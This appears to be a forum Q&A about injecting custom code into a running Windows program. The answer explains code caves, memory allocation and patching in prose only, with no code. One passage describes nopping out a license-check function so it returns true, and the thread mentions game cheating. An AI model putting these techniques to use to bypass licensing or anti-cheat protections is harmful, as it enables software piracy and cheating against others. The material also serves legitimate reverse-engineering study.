I am not an expert in this field but for the purposes of building a better understanding, let's excludde the use of specilised big name IDE's like IDA Pro, Ghidra or Cheat Engine which can automatically inject assembler code.

Own approach – Thought
My inital guess was that piece of reverse engineering software would be used simply to look at the code and find the addresses that contain checks and values of interest.
After writing down addresses, one would write C++ Programm that overwrite at those addresses the code to something else.
So to sum my thought up, the first step would be reconnaissance (gathering information/addresses and what those statements do), secondly one would write a C++ Program that makes use of the MemoryWrite Function to overwrite the executables code with ones own, lastly test it out / run the C++ program?
For the sake of simplicity let's say we are in a windows (10) environment and the architecture / CPU doesn't matter. Additionally the languages used to overwrite will be C++.
Disclaimer
I think I am legally forced to note that this question is for educational purposes and I do not advise/recommend/intend anyone incl myself to circument/overwrite software. I just don't want to get banned. This question is simply asking for the techniques and clever tricks used, not for code or attempt to breach application protections.

There are several methods to achieve this.
Code Caves
The oldest and simplest approach is called Code Caves. Simply put, the process memory has some allocated, but unused memory. By modifying the code - either by injecting it dynamically or overwriting the binary file - code can be inserted into the code cave and be jumped to and returned from.
The advantage of using code caves is that you need to modify very little of how the program works to get your custom code running. However, you depend on the availability of memory caves, and even if you find any, the size of them will pose an issue.
Allocation

"If you need more memory, just allocate more memory"

The other approach being used means you allocate more memory, jump from the existing code to the added section, do whatever custom stuff you'd like to do, and then jump back.
The advantage of this method is that you essentially have free reign over how much code you wish to inject, with the downside being that the underlying program is much more likely to "be aware" of your changes. That means if you plan on cheating in a multiplayer game - which I personally disapprove of - the underlying game has a very high chance of noticing that something is up.
Patching
Sometimes, just overwriting things is easier than any of the other methods. If your required changes are simple, then overwriting some addresses in memory might be enough. For example, if a program has a complicated function to check whether or not a valid license is present, one can simply overwrite this function with a bunch of NOPs (to keep the offsets correct) and returning true.
The advantage of this approach is that it is by far the easiest and can usually be done on-the-fly without ever modifying the binary file. The downside is that it is an even more limited approach than code caves, since you're only changing things, not adding new code.